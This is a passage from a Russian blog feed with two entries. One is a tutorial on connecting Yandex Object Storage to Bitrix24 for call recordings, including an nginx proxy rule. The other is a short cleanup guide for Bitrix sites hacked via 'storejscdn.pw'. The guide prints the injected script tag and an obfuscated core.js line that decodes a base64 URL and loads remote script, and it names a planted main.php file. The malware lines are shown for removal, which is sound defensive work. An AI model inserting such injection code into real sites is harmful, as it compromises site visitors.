  &lt;p id=&quot;wetE&quot;&gt;Попадаем в пустой список, создаем новый бакет.&lt;/p&gt;
  &lt;figure id=&quot;4BDU&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/28/3a/283a1873-35aa-45ff-a3cc-7014c5742a30.png&quot; width=&quot;1919&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;kI7X&quot;&gt;Видим страницу параметров для создания бакета.&lt;/p&gt;
  &lt;figure id=&quot;QrcU&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/41/cd/41cdc61b-4475-4cb2-a1f0-181ec1a9ccd8.png&quot; width=&quot;1039&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;nOEh&quot;&gt;Эти настройки делаем для хранения записей телефонных звонков или бэкапов. Но на стороне битрикса чуть-чуть настройки отличаются. В общем даем название бакету, например crm24-mp3-file-backup чтобы было понятно что у нас там хранится. В общем создали бакет.&lt;/p&gt;
  &lt;p id=&quot;EH4f&quot;&gt;Просто создать бакет недостаточно, еще нужно создать статический API ключ для Object Storage, это делается в вкладке &amp;quot;Сервисные аккаунты&amp;quot;. Сейчас покажу где это.&lt;/p&gt;
  &lt;figure id=&quot;bG2t&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/5b/2c/5b2c4527-bfa9-4d29-af8b-a194a6e5df4e.png&quot; width=&quot;1287&quot; /&gt;
    &lt;figcaption&gt;Находится на странице Дашборд каталога.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;VkFQ&quot;&gt;Открыв будет пустой список аккаунтов. Создадим новый.&lt;/p&gt;
  &lt;figure id=&quot;upkG&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/ad/2f/ad2fa56c-67e4-4336-87f5-36df775987d0.png&quot; width=&quot;1919&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;HgLL&quot;&gt;Имя можете дать новому аккаунту любое, но только латинскими цифрами и буквами. Называете исходя из задач, так как облако можно использовать по-разному, иметь одного пользователя на все задачи, на несколько или на одну. Я назвал задачу в рамках одной задачи, чтобы было понятно для чего был создан аккаунт.&lt;/p&gt;
  &lt;p id=&quot;ZZ8I&quot;&gt;Добавляете роль, например storage.admin. Создаем. Открываем созданный сервисный аккаунт. Видим кнопку &lt;strong&gt;Создать сервисный ключ&lt;/strong&gt;.&lt;/p&gt;
  &lt;figure id=&quot;TcnT&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/81/5a/815aad57-f4bf-4228-b2be-4529c9b13ffe.png&quot; width=&quot;1919&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;CUU0&quot;&gt;Создаем статический API-ключ, даже пометка есть к чему он подойдет.&lt;/p&gt;
  &lt;figure id=&quot;vDOt&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/d2/46/d2466e78-148e-4eaf-91a5-1682c1c42b40.png&quot; width=&quot;1007&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;dRu1&quot;&gt;В описание ключа пишем подробности, для чего выдан этот ключ, например &amp;quot;Для выгрузки телефонных звонков/бэкапов в Object Storage&amp;quot;.&lt;/p&gt;
  &lt;p id=&quot;2wKJ&quot;&gt;Создаем. И тут важный момент. Ключ доступа нам показывают один раз. &lt;strong&gt;Сохраните его в свой KeePass или другую надежную систему хранения доступов, обязательно.&lt;/strong&gt; Ключ не должен попасть в чужие руки и не должен быть в открытом доступе.&lt;/p&gt;
  &lt;figure id=&quot;zUh6&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/f9/59/f95924c6-fa82-48f0-86a3-56d4f08de36c.png&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;poCn&quot;&gt;Ключ создали. Идем в Object Storage, где мы создали бакет. Нужно &amp;quot;прикрепить&amp;quot; этот сервисный аккаунт с доступом к бакету.&lt;/p&gt;
  &lt;figure id=&quot;xBKo&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/d5/70/d570b86e-2b0a-42ad-9b0d-966f37b29959.png&quot; width=&quot;963&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;SjnQ&quot;&gt;В списке бакетов жмем на три точки, видим пункт &lt;strong&gt;ACL бакета&lt;/strong&gt;. Жмем.&lt;/p&gt;
  &lt;figure id=&quot;1FbZ&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/fa/6c/fa6c0b7d-7420-4490-b73a-29713eae0e9b.png&quot; width=&quot;880&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;s44i&quot;&gt;Выбираем сервисный аккаунт. Выбрали. Справа с кнопкой добавить написано READ. Думаю нет смысла объяснять зачем это. Выбираем &lt;strong&gt;FULL_CONTROL&lt;/strong&gt;.&lt;/p&gt;
  &lt;p id=&quot;dYU9&quot;&gt;Жмем напротив &lt;strong&gt;Добавить&lt;/strong&gt;, а только потом &lt;strong&gt;Сохранить&lt;/strong&gt;&lt;/p&gt;
  &lt;h2 id=&quot;PLyt&quot;&gt;Настройка Битрикс&lt;/h2&gt;
  &lt;p id=&quot;vYn0&quot;&gt;Хранилище настроено. Теперь идём в битрикс чтобы подключить его. Заходим в панель управления Битрикс24 или Битрикс Управление сайтом.&lt;/p&gt;
  &lt;figure id=&quot;amai&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/79/e7/79e74edd-d1da-492b-8d06-af85d48ba53f.png&quot; width=&quot;1198&quot; /&gt;
    &lt;figcaption&gt;В настройки&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;nS0s&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/4e/c2/4ec2e84c-b60c-41e5-8b62-99b5c5232819.png&quot; width=&quot;649&quot; /&gt;
    &lt;figcaption&gt;В списке находим&lt;strong&gt; Облачные хранилища&lt;/strong&gt;&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;UC8G&quot;&gt;Добавляем облачное хранилище.&lt;/p&gt;
  &lt;figure id=&quot;OZNU&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/8f/6d/8f6df726-6e52-4d23-b044-0bc359b949fb.png&quot; width=&quot;1919&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;XRo7&quot;&gt;Выбираем провайдера Yandex Object Storage.&lt;/p&gt;
  &lt;p id=&quot;BUaZ&quot;&gt;Используем ключ доступа и секретный ключ которые нам выдали при создании доступа к сервисному аккаунту.&lt;/p&gt;
  &lt;figure id=&quot;dBUq&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/8c/71/8c71a118-ba90-46b4-a29f-24efb4ed5f3c.png&quot; width=&quot;1168&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;RqKZ&quot;&gt;&lt;strong&gt;Важно!&lt;/strong&gt; Вам сразу сгенерировался контейнер в виде &lt;strong&gt;upload-блаблаблабла&lt;/strong&gt;. Если вы создали бакет, указываем имя этого бакета, иначе при подключении вам создадут новый бакет с сгенерированным названием.&lt;/p&gt;
  &lt;figure id=&quot;0ETF&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/11/61/1161e599-51fc-48b4-b292-c1902478bcf9.png&quot; width=&quot;1269&quot; /&gt;
    &lt;figcaption&gt;Вот эти названия!&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;oWwy&quot;&gt;Заполнили доступ, но еще &lt;strong&gt;НЕ сохраняем&lt;/strong&gt;.&lt;/p&gt;
  &lt;p id=&quot;47Mn&quot;&gt;Есть важная настройка в вкладке &lt;strong&gt;Правила&lt;/strong&gt;.&lt;/p&gt;
  &lt;figure id=&quot;czxn&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/fb/b8/fbb88ece-259a-41f9-84f0-fa20a10a2133.png&quot; width=&quot;1436&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Pk5Z&quot;&gt;По дефолту при подключенном хранилище у нас попадут туда все файлы, но нам нужно чтобы туда писались записи звонков. Для этого указываем расширение mp3. Я добавил еще mp4 для примера в статье, где указал, что мы хотим отправлять в облачное хранилище файлы весом от 10 мб до 10 гб. В общем, прочитайте информационное сообщение, там расписано что да как. Можно создать отдельный бакет хоть для каждого модуля или один бакет для всех модулей. В списке правил работы с облаком можете хоть все модули указать.&lt;/p&gt;
  &lt;p id=&quot;LOnv&quot;&gt;Настроили? &lt;strong&gt;Сохраняем.&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;qHdA&quot;&gt;Теперь у нас есть список подключенных нами облачных хранилищ, которые работают по заданным нами правилам.&lt;/p&gt;
  &lt;p id=&quot;VdLH&quot;&gt;Чтобы протестировать, совершите один звонок с портала на свой личный телефон, поговорите сами с собой, например скажите себе &amp;quot;Я всё смогу, я сделаю это!&amp;quot;. Обновите страницу со списком облачных хранилищ, должен поменяться счетчик файлов и их объем.&lt;/p&gt;
  &lt;figure id=&quot;4WKt&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/de/dd/deddcdff-58c5-4408-bc5d-305a6c225e6f.png&quot; width=&quot;799&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;HSaO&quot;&gt;Файлы ушли в облако, поздравляю. Но это не всё. Бывает что файлы отправляются в облако, но в портале они вдруг стали недоступны.&lt;/p&gt;
  &lt;figure id=&quot;na4m&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/a2/26/a226e27d-9bac-4cbb-ac09-d2a34d24a274.png&quot; width=&quot;855&quot; /&gt;
    &lt;figcaption&gt;Пример. Звонок выгрузился в облако, но стал недоступен для прослушивания.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;RXrf&quot;&gt;Эта проблема скорее всего связана с тем, что у вас отсутствует правило для хранилища Yandex Object Storage в конфигурации nginx. При установке BitrixVM это правило туда записывается, но если вы ставили старую версию 7.4.3 и младше, то правила для хранилища Яндекс нет.&lt;/p&gt;
  &lt;p id=&quot;7xed&quot;&gt;Решаем проблему.&lt;/p&gt;
  &lt;p id=&quot;vqCo&quot;&gt;Подключаемся по SSH к вашему серверу.&lt;/p&gt;
  &lt;p id=&quot;T6nt&quot;&gt;Если у вас BitrixVM, выходим из меню в которое мы попали.&lt;/p&gt;
  &lt;figure id=&quot;uGmh&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/9c/7a/9c7a6990-8199-4d0b-80ea-a92c61a116ac.png&quot; width=&quot;955&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;oePr&quot;&gt;Идем в конфиг nginx.&lt;/p&gt;
  &lt;p id=&quot;jTqT&quot;&gt;&lt;code&gt;/etc/nginx/bx/conf/&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;zkg2&quot;&gt;Открываем файл конфига &lt;code&gt;bitrix_general.conf&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;jWkQ&quot;&gt;Находим секцию &lt;code&gt;location ^~ /upload/bx_cloud_upload/&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;RhJa&quot;&gt;Видим там правила для разных хранилищ. Вставляем новое правило для Yandex Object Storage в этой секции, в начале или в конце, без разницы.&lt;/p&gt;
  &lt;figure id=&quot;BeTX&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/9c/3e/9c3ee56e-e019-4a88-9f31-9efdf04d7dc1.png&quot; width=&quot;1113&quot; /&gt;
    &lt;figcaption&gt;Пример добавленного правила&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;haJC&quot;&gt;&lt;strong&gt;Само правило:&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;JEjX&quot;&gt;&lt;code&gt;location ~ ^/upload/bx_cloud_upload/(http[s]?)\.([^/:\s]+)\.storage\.yandexcloud\.net/([^\s]+)$ { internal; resolver 8.8.8.8; proxy_method GET; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Server $host; #proxy_max_temp_file_size 0; proxy_pass $1://$2.storage.yandexcloud.net/$3; }&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;3PfV&quot;&gt;Сохраняем и перезапускаем nginx.&lt;/p&gt;
  &lt;p id=&quot;lMKn&quot;&gt;&lt;code&gt;systemctl restart nginx&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;wh0u&quot;&gt;Снова проверяем работу CRM, звоним самому себе и пробуем послушать звонок выгруженный в облако. Должно всё работать. Если нужна помощь - пишите мне на почту, может помогу.&lt;/p&gt;
  &lt;p id=&quot;5Gig&quot;&gt;P.S. В версии BitrixVM 7.4.4 уже не нужно добавлять эти строки, они там уже должны быть.&lt;/p&gt;

</content></entry><entry><id>webkrasavin:storejscdn-bitrix</id><link rel="alternate" type="text/html" href="https://teletype.in/@webkrasavin/storejscdn-bitrix?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=webkrasavin"></link><title>Лечение storejscdn pw в Bitrix CMS</title><published>2022-11-15T05:17:05.098Z</published><updated>2022-12-01T20:55:53.668Z</updated><summary type="html">В день конституции Украины массово взломали сайты на Bitrix. Простым удалением строчки встроенного скрипта решить проблему не получится. Спустя время снова появится строка https storejscdn pw jqueryui js.</summary><content type="html">
  &lt;p id=&quot;8zhc&quot;&gt;В день конституции Украины массово взломали сайты на Bitrix. Простым удалением строчки встроенного скрипта решить проблему не получится. Спустя время снова появится строка https storejscdn pw jqueryui js.&lt;/p&gt;
  &lt;h2 id=&quot;xSp0&quot;&gt;Удаляем строку storejscdn pw&lt;/h2&gt;
  &lt;p id=&quot;jAYY&quot;&gt;из файла /bitrix/modules/main/prolog.php удаляем строку&lt;/p&gt;
  &lt;pre id=&quot;MdJO&quot;&gt;&amp;lt;sсriрt src=&amp;quot;httрs://stоrеjscdn.рw/jquеrуui.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;
  &lt;h2 id=&quot;XelJ&quot;&gt;Изменяем core.js&lt;/h2&gt;
  &lt;p id=&quot;3tLP&quot;&gt;Желательно обновить модуль ядра, но энтузиасты пишут что достаточно убрать строку в конце этого файла (путь /bitrix/js/main/core/core.js), которая выглядит так, либо очень похожа:&lt;/p&gt;
  &lt;p id=&quot;dxE7&quot;&gt;&lt;code&gt;s=dосument.сrеateElement(&amp;#x60;scriрt&amp;#x60;);s.srс=atоb(&amp;#x60;aHR0cHM6Ly9zdG9yZWpzY2RuLnB3L2pxdWVyeXVpLmpz&amp;#x60;);dосument.head.appеndСhild(s);&lt;/code&gt;&lt;/p&gt;
  &lt;h2 id=&quot;JtgB&quot;&gt;Удаляем файл в компоненте main.file.input&lt;/h2&gt;
  &lt;p id=&quot;GBqC&quot;&gt;Файл находится по следующему пути /bitrix/components/bitrix/main.file.input/main.php&lt;/p&gt;
  &lt;p id=&quot;JgUf&quot;&gt;Если посмотреть на других незараженных сайтах, в этом компоненте не существует файла main.php. Удаляем.&lt;/p&gt;

</content></entry></feed>